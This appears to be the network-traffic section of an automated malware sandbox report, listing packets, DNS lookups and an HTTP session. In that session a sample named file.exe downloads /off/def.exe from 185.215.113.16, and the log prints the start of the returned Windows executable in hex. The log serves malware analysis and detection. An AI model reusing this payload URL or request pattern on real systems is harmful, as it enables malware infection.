Nov 24, 2024 05:13:18.000381947 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.042109013 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.042129993 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.042149067 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.042190075 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.042205095 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.042218924 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.042253017 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.068126917 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.070198059 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.070215940 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.070671082 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.070676088 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.232224941 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.232266903 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.232302904 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.232316017 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.232367992 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.232549906 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.232558966 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.232601881 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.232609987 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.235450029 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.235477924 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.235553026 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.235708952 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.235730886 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.517883062 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.517911911 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.518110037 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.518125057 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.518466949 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.518466949 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.518479109 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.518522978 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.521425009 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.521471977 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.521543026 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.521720886 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.521737099 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.631354094 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.631853104 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.631864071 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.632366896 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.632374048 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.647124052 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.647874117 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.647886038 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.648332119 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.648338079 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.854182005 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.855037928 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.855051041 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.855530977 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.855539083 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.949233055 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.951103926 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.951123953 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:19.951601028 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:19.951606989 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.076476097 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.076765060 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.076868057 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.077102900 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.077102900 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.077124119 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.077133894 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.080416918 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.080460072 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.081178904 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.081383944 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.081398010 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.106409073 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.106477976 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.106558084 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.106679916 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.106695890 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.106707096 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.106715918 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.109241962 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.109282017 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.109441996 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.109529972 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.109544992 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.303096056 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.305109024 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.305135012 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.305579901 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.305583954 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.308244944 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.311295033 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.314902067 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.314938068 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.314938068 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.314951897 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.314963102 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.326258898 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.326282978 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.326350927 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.326534986 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.326546907 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.383702993 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.386843920 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.386904955 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.390417099 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.390436888 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.390450001 CET	50115	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.390460014 CET	443	50115	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.393835068 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.393901110 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.394934893 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.395154953 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.395195007 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.951441050 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.954502106 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.954585075 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.954624891 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.954647064 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.954698086 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.954792023 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.954812050 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:20.954823017 CET	50116	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:20.954830885 CET	443	50116	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.860649109 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.861236095 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.861253023 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.862818956 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.862823963 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.888983011 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.889481068 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.889503956 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.889928102 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.889933109 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.909090996 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.909430981 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.909451008 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:21.909836054 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:21.909842014 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.174242973 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.174797058 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.174833059 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.175297022 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.175306082 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.304893017 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.308015108 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.310903072 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.310946941 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.310970068 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.310983896 CET	50117	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.310990095 CET	443	50117	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.332216024 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.335434914 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.335504055 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.335577965 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.335592985 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.335619926 CET	50118	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.335625887 CET	443	50118	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.354329109 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.357445955 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.357516050 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.357553005 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.357572079 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.357582092 CET	50119	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.357588053 CET	443	50119	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.617480993 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.617552042 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.617809057 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.617871046 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.617871046 CET	50120	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:22.617896080 CET	443	50120	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:22.617911100 CET	443	50120	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 05:11:18.126296997 CET	49441	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:11:18.385585070 CET	53	49441	1.1.1.1	192.168.2.7
Nov 24, 2024 05:11:19.350102901 CET	123	123	192.168.2.7	40.81.94.65
Nov 24, 2024 05:11:20.706159115 CET	123	123	40.81.94.65	192.168.2.7
Nov 24, 2024 05:11:53.528707027 CET	53	53653	1.1.1.1	192.168.2.7
Nov 24, 2024 05:11:53.694211960 CET	53	52124	1.1.1.1	192.168.2.7
Nov 24, 2024 05:11:56.382533073 CET	53	54911	1.1.1.1	192.168.2.7
Nov 24, 2024 05:11:57.869769096 CET	63584	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:11:57.870055914 CET	49257	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:11:58.006984949 CET	53	63584	1.1.1.1	192.168.2.7
Nov 24, 2024 05:11:58.007258892 CET	53	49257	1.1.1.1	192.168.2.7
Nov 24, 2024 05:12:00.193109989 CET	50176	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:00.193433046 CET	49771	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:03.609180927 CET	53709	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:03.609488010 CET	49665	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:10.339709997 CET	53	61399	1.1.1.1	192.168.2.7
Nov 24, 2024 05:12:12.574516058 CET	51287	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:12.574692011 CET	50000	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:12:13.106494904 CET	138	138	192.168.2.7	192.168.2.255
Nov 24, 2024 05:12:13.604991913 CET	53	59398	1.1.1.1	192.168.2.7
Nov 24, 2024 05:12:32.519385099 CET	53	60193	1.1.1.1	192.168.2.7
Nov 24, 2024 05:12:53.330207109 CET	53	49721	1.1.1.1	192.168.2.7
Nov 24, 2024 05:12:55.364295959 CET	53	64872	1.1.1.1	192.168.2.7
Nov 24, 2024 05:13:12.589329958 CET	56600	53	192.168.2.7	1.1.1.1
Nov 24, 2024 05:13:12.589493990 CET	59474	53	192.168.2.7	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 24, 2024 05:12:00.645925045 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Nov 24, 2024 05:12:19.029480934 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 05:11:18.126296997 CET	192.168.2.7	1.1.1.1	0xa438	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:11:57.869769096 CET	192.168.2.7	1.1.1.1	0x68d3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:11:57.870055914 CET	192.168.2.7	1.1.1.1	0x4100	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 05:12:00.193109989 CET	192.168.2.7	1.1.1.1	0xf2a5	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:00.193433046 CET	192.168.2.7	1.1.1.1	0x6678	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 05:12:03.609180927 CET	192.168.2.7	1.1.1.1	0x6751	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:03.609488010 CET	192.168.2.7	1.1.1.1	0xba98	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 05:12:12.574516058 CET	192.168.2.7	1.1.1.1	0xaea3	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:12.574692011 CET	192.168.2.7	1.1.1.1	0x704b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 05:13:12.589329958 CET	192.168.2.7	1.1.1.1	0xb55d	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:13:12.589493990 CET	192.168.2.7	1.1.1.1	0x4b67	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 05:11:18.385585070 CET	1.1.1.1	192.168.2.7	0xa438	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:11:18.385585070 CET	1.1.1.1	192.168.2.7	0xa438	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:11:58.006984949 CET	1.1.1.1	192.168.2.7	0x68d3	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:11:58.007258892 CET	1.1.1.1	192.168.2.7	0x4100	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 05:12:00.335767984 CET	1.1.1.1	192.168.2.7	0xf2a5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.335767984 CET	1.1.1.1	192.168.2.7	0xf2a5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.335767984 CET	1.1.1.1	192.168.2.7	0xf2a5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.335767984 CET	1.1.1.1	192.168.2.7	0xf2a5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:00.597620010 CET	1.1.1.1	192.168.2.7	0xf4a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.645829916 CET	1.1.1.1	192.168.2.7	0x6678	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.645829916 CET	1.1.1.1	192.168.2.7	0x6678	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.709754944 CET	1.1.1.1	192.168.2.7	0xe10f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.709754944 CET	1.1.1.1	192.168.2.7	0xe10f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:00.709754944 CET	1.1.1.1	192.168.2.7	0xe10f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:03.747423887 CET	1.1.1.1	192.168.2.7	0xba98	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.747423887 CET	1.1.1.1	192.168.2.7	0xba98	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.748790979 CET	1.1.1.1	192.168.2.7	0x6751	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.748790979 CET	1.1.1.1	192.168.2.7	0x6751	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.748790979 CET	1.1.1.1	192.168.2.7	0x6751	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.748790979 CET	1.1.1.1	192.168.2.7	0x6751	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:03.809716940 CET	1.1.1.1	192.168.2.7	0x80da	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.809716940 CET	1.1.1.1	192.168.2.7	0x80da	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:03.809716940 CET	1.1.1.1	192.168.2.7	0x80da	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:12:03.810481071 CET	1.1.1.1	192.168.2.7	0x7361	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:12.974745989 CET	1.1.1.1	192.168.2.7	0xaea3	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:12.979326010 CET	1.1.1.1	192.168.2.7	0x704b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:18.954695940 CET	1.1.1.1	192.168.2.7	0xf9fe	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:19.026510000 CET	1.1.1.1	192.168.2.7	0xf89a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:25.705854893 CET	1.1.1.1	192.168.2.7	0x11b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:12:25.706762075 CET	1.1.1.1	192.168.2.7	0xe815	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:13:12.727945089 CET	1.1.1.1	192.168.2.7	0x4b67	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 05:13:12.819014072 CET	1.1.1.1	192.168.2.7	0xb55d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

property-imper.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49761	185.215.113.16	80	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 05:11:40.072647095 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 05:11:41.413022041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 04:11:41 GMT Content-Type: application/octet-stream Content-Length: 2741760 Last-Modified: Sun, 24 Nov 2024 04:06:45 GMT Connection: keep-alive ETag: "6742a655-29d600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 0e 25 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %`Ui` @ @.rsrc`2@.idata 8@gvbjqmpu)v):@pcqkcyiw )@.taggant@@")@
Nov 24, 2024 05:11:41.413053989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 05:11:41.413064957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
